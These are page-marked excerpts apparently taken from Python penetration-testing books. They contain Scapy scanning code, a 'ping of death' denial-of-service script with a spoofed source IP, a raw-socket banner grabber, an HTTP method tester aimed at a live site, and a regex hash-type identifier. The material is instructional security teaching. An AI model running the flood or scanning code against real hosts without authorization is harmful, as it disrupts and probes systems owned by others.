sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()
|
page 360:
-
The ACK scanning method is used to determine whether the host is protected by
some kind of filtering system.
-
In this scanning method, the attacker sends an ACK probe packet with a random
sequence number where no response means that the port is filtered (a stateful
inspection firewall is present in this case); if an RST response comes back,
this means the port is closed.
page 361:
- Ping of death is a type of denial of service in which the attacker
deliberately sends a ping request that is larger than 65,536 bytes. One of the
features of TCP/IP is fragmentation; it allows a single IP packet to be broken
down into smaller segments. Let's take a look at the code and go through the
explanation of the code too. The program's name is pingofd.py:
| from scapy.all import *
ip1 = IP(src="192.168.0.99", dst ="192.168.0.11")
packet = ip1/ICMP()/("m"*60000)
send(packet)
|
- Here, we are using 192.168.0.99 as the source address. This is an attack and
I don't want to reveal my IP address; that's why I have spoofed my IP. The
packet contains the IP and ICMP packet and 60,000 bytes of data for which you
can increase the size of the packet. This time, we use the send() function
since we are not expecting a response.
page 393:
- The code for the banner grabber is shown as follows:
| import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
pkt = s.recvfrom(2048)
banner = pkt[0][54:533]
print banner
print "--"*40
|
- Since you must have read Chapter 2, Sniffing and Penetration Testing, you
should be familiar with this code. The banner = pkt[0][54:533] statement is new
here. Before pkt[0][54:], the packet contains TCP, IP, and Ethernet
information. After doing some hit and trail, I found that the banner grabbing
information resides between [54:533].
Module 3: Python Web Penetration Testing Cookbook
page 440:
-
Shodan is essentially a vulnerability search engine. ... database is
searchable from the Shodan website (https:// www.shodan.io), the results and
services reported on are limited, unless you access it through the Application
Programming Interface (API).
-
Shodan has a really nice Python library, which is also well documented at
https://shodan.readthedocs.org/en/latest/.
-
To get your Python environment set up to work with Shodan, all you need to do
is simply install the library using cheeseshop:
page 526:
| import requests
verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST']
for verb in verbs:
req = requests.request(verb, 'http://packtpub.com')
print verb, req.status_code, req.reason
if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
print 'Possible Cross Site Tracing vulnerability found'
|
-
The TRACE response returns 405 Not Allowed, showing that this has been
explicitly denied by the web server.
-
One interesting thing with the target server here is that it returns a 200 OK
response for the TEST method. This means that the server is processing the TEST
request as a different method; for example, it's treating it as a GET request.
As earlier mentioned, this makes a good way to bypass some firewalls, as they
may not process the unexpected TEST method.
page 597:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87 | import re
def hashcheck (hashtype, regexstr, data):
try:
valid_hash = re.finditer(regexstr, data)
result = [match.group(0) for match in valid_hash]
if result:
return "This hash matches the format of: " + hashtype
except: pass
string_to_check = raw_input('Please enter the hash you wish to check: ')
hashes = (
("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0-9\/\.]{53}$"),
("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"),
("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"),
("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"),
("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"),
("Lineage II C4", r"^0x[a-fA-F0-9]{32}$"),
("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"),
("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("Skein-1024", r"^[a-fA-F0-9]{256}$"),
("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"),
("EPi hash", r"^0x[A-F0-9]{60}$"),
("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"),
("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"),
("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"),
("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"),
("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"),
("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"),
("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"),
("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"),
("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"),
("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"),
("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"),
("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"),
("SHA-384", r"^[a-fA-F0-9]{96}$"),
("SHA-512", r"^[a-fA-F0-9]{128}$"),
("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"),
("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"),
("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"),
("Oracle 11g", r"^S:[A-Z0-9]{60}$"),
("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"),
("MySQL 5.x", r"^\*[a-f0-9]{40}$"),
("MySQL 3.x", r"^[a-fA-F0-9]{16}$"),
("OSX v10.7", r"^[a-fA-F0-9]{136}$"),
("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"),
("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"),
("MSSQL(2000)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"),
("MSSQL(2005)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"),
("MSSQL(2012)", r"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$"),
("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"),
("SHA-256", r"^[a-fA-F0-9]{64}$"),
("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"),
("SHA-224", r"^[a-fA-F0-9]{56}$"),
("Adler32", r"^[a-f0-9]{8}$"),
("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"),
("NTLM)", r"^[0-9A-Fa-f]{32}$"),
)
counter = 0
for h in hashes:
text = hashcheck(h[0], h[1], string_to_check)
if text is not None:
counter += 1
print text
if counter == 0:
print "Your input hash did not match anything, sorry!"
|